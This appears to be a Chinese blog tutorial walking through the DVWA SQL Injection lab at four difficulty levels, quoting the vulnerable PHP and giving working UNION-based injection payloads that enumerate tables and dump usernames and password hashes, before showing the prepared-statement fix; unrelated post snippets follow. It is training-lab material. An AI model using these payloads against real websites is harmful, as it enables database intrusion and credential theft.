1.初级篇 low.php

先看源码,取得的参数直接放到sql语句中执行

  1. if( isset( $_REQUEST[ 'Submit' ] ) ) {
  2. // Get input
  3. $id = $_REQUEST[ 'id' ];
  4.  
  5. // Check database
  6. $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

  1. http://localhost/DVWA-master/vulnerabilities/sqli/?id=&Submit=Submit#

直接加引号看报错,通过报错信息很容易的到使用单引号进行闭合

  1. http://localhost/DVWA-master/vulnerabilities/sqli/?id=1'&Submit=Submit#
  1. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

使用order by猜字段数量

  1. http://localhost/DVWA-master/vulnerabilities/sqli/?id=1' order by 3%23&Submit=Submit#

order by 2时页面正常

union select 查询user() database()

  1. http://localhost/DVWA-master/vulnerabilities/sqli/?id=1' union select user(),database()%23&Submit=Submit#

查表名

  1. http://localhost/DVWA-master/vulnerabilities/sqli/?id=0' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'%23&Submit=Submit#

查users表列名

  1. http://localhost/DVWA-master/vulnerabilities/sqli/?id=0' union select 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'%23&Submit=Submit#

查数据

  1. http://localhost/DVWA-master/vulnerabilities/sqli/?id=0' union select user,password from dvwa.users limit 0,1%23&Submit=Submit#

解密可得

 2.中级篇 Medium.php

看一下区别,id参数不再使用$_REQUEST获取了,并且使用了mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符。

  1. if( isset( $_POST[ 'Submit' ] ) ) {
  2. // Get input
  3. $id = $_POST[ 'id' ];
  4.  
  5. $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
  6.  
  7. $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
  8. $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

最直接的一点影响就是'被转义成为了\',使得攻击者无法闭合引号而无法注入,

若MySQL客户端的编码为gbk时,就会产生宽字节注入。参照 http://netsecurity.51cto.com/art/201404/435074.htm 利用 https://www.cnblogs.com/superkrissV/p/8379690.html

若id参数为整型的时候,由于不需要闭合引号,一样可以正常注入,此处id为整型

  1. SELECT first_name, last_name FROM users WHERE user_id = $id;

使用hackbar插件提交post数据,post形式下#不用编码成%23

  1. id=0 union select 1,2#&Submit=Submit

和初级篇一样取数据

  1. id=0 union select user,password from dvwa.users limit 0,1#&Submit=Submit

 3.高级篇 High.php

id参数是从session中来获取的,由于session数据存储在服务器端,很多程序员会对来自客户端的数据进行严格校验,而服务端的数据则认定安全

  1. if( isset( $_SESSION [ 'id' ] ) ) {
  2. // Get input
  3. $id = $_SESSION[ 'id' ];
  4.  
  5. // Check database
  6. $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
  7. $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

点击弹出一个页面,对应的url

  1. http://localhost/DVWA-master/vulnerabilities/sqli/session-input.php

审查源码

查看session-input.php源码,可以发现id参数没有经过任何处理直接传递到了session中

  1. if( isset( $_POST[ 'id' ] ) ) {
  2. $_SESSION[ 'id' ] = $_POST[ 'id' ];
  3. //$page[ 'body' ] .= "Session ID set!<br /><br /><br />";
  4. $page[ 'body' ] .= "Session ID: {$_SESSION[ 'id' ]}<br /><br /><br />";
  5. $page[ 'body' ] .= "<script>window.opener.location.reload(true);</script>";
  6. }

明白这些就可以进行注入了,注入的页面是session-input.php,显示结果的页面是index.php

  1. http://localhost/DVWA-master/vulnerabilities/sqli/session-input.php

POST提交

  1. id=0' union select user,password from dvwa.users#&Submit=Submit

刷新

  1. http://localhost/DVWA-master/vulnerabilities/sqli/index.php

4.不可能篇 Impossible.php

查看源码,可以发现使用PDO技术来防止SQL注入,将id绑定为int

  1. $id = $_GET[ 'id' ];
  2.  
  3. // Was a number entered?
  4. if(is_numeric( $id )) {
  5. // Check the database
  6. $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
  7. $data->bindParam( ':id', $id, PDO::PARAM_INT );
  8. $data->execute();
  9. $row = $data->fetch();

【DVWA】【SQL Injection】SQL注入 Low Medium High Impossible的更多相关文章

  1. Fortify Audit Workbench 笔记 SQL Injection SQL注入

    SQL Injection SQL注入 Abstract 通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令. Explanation SQL injec ...

  2. 【DVWA】【SQL Injection(Blind)】SQL盲注 Low Medium High Impossible

    1.初级篇 Low.php 加单引号提交 http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1'&Submit=Submi ...

  3. DVWA平台v1.8-SQL注入(low级别)

    代码 <?php if(isset($_GET['Submit'])){ // Retrieve data $id = $_GET['id']; $getid = "SELECT fi ...

  4. DVWA全级别之SQL Injection(SQL注入)

    DVWA全级别之SQL Injection(注入)   DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...

  5. DVWA之SQL Injection

    SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...

  6. 新手指南:DVWA-1.9全级别教程之SQL Injection

    *本文原创作者:lonehand,转载须注明来自FreeBuf.COM 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,且没有针 ...

  7. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

  8. 【DVWA】SQL Injection(SQL 注入)通关教程

    日期:2019-07-28 20:43:48 更新: 作者:Bay0net 介绍: 0x00.基本信息 关于 mysql 相关的注入,传送门. SQL 注入漏洞之 mysql - Bay0net - ...

  9. DVWA(三):SQL injection 全等级SQL注入

    (本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...

随机推荐

  1. 关于Windows 8使用WMP播放音乐时WUDFHost跑CPU和硬盘的问题解决

    Windows 8使用Windows Media Player播放音乐的时候.事实上有一个这种情况,WMP和某个什么名字看起来非常屌的进程跑CPU非常高,这个跑非常高视你插入的SD卡内的文件数或者移动 ...

  2. Hadoop之——HBASE结合MapReduce批量导入数据

    转载请注明出处:http://blog.csdn.net/l1028386804/article/details/46463889 废话不多说.直接上代码,你懂得 package hbase; imp ...

  3. c#基于事件模型的UDP通讯框架(适用于网络包编解码)

    之前写过一篇关于c#udp分包发送的文章 这篇文章里面介绍的方法是一种实现,可是存在一个缺点就是一个对象序列化后会增大非常多.不利于在网络中的传输. 我们在网络中的传输是须要尽可能的减小传送的数据包的 ...

  4. WEB端应该使用DataTable/DataSet吗?

    有一次和同事讨论起具体的技术细节,同事说不要用什么实体类,从数据库访问到的数据,直接用DataTable.DataSet 就好.理由是,从获取到的数据集转换成实体类,有一定的性能损耗. 呵呵,性能.我 ...

  5. 有banner的uid数, 有logo的uid数 , 交集数

    [len(i) for i in [banners_uid_set,logos_uid_set,banners_uid_set&logos_uid_set]] import glob impo ...

  6. MessageBox.Show

    MessageBox.Show()共有21中重载方法.现将其常见用法总结如下: .MessageBox.Show("Hello~~~~"); 最简单的,只显示提示信息. .Mess ...

  7. eclipse导出签名apk的混淆设置

    1.设置project.properties文件: 2.设置proguard-project.txt文件:

  8. AngularJS 指令(意义)

    angular.module('modulename') .directive('myDirective', function(){ return { restrict: 'EA', //E表示ele ...

  9. Line: 220 - com/opensymphony/xwork2/spring/SpringObjectFactory.java:220:-1

    转自:http://blog.51cto.com/alinazh/1276363 在启动tomcat的时候出现错误: Line: 220 - com/opensymphony/xwork2/sprin ...

  10. bzoj 4596: [Shoi2016]黑暗前的幻想乡【容斥原理+矩阵树定理】

    真是简单粗暴 把矩阵树定理的运算当成黑箱好了反正我不会 这样我们就可以在O(n^3)的时间内算出一个无向图的生成树个数了 然后题目要求每个工程队选一条路,这里可以考虑容斥原理:全选的方案数-不选工程队 ...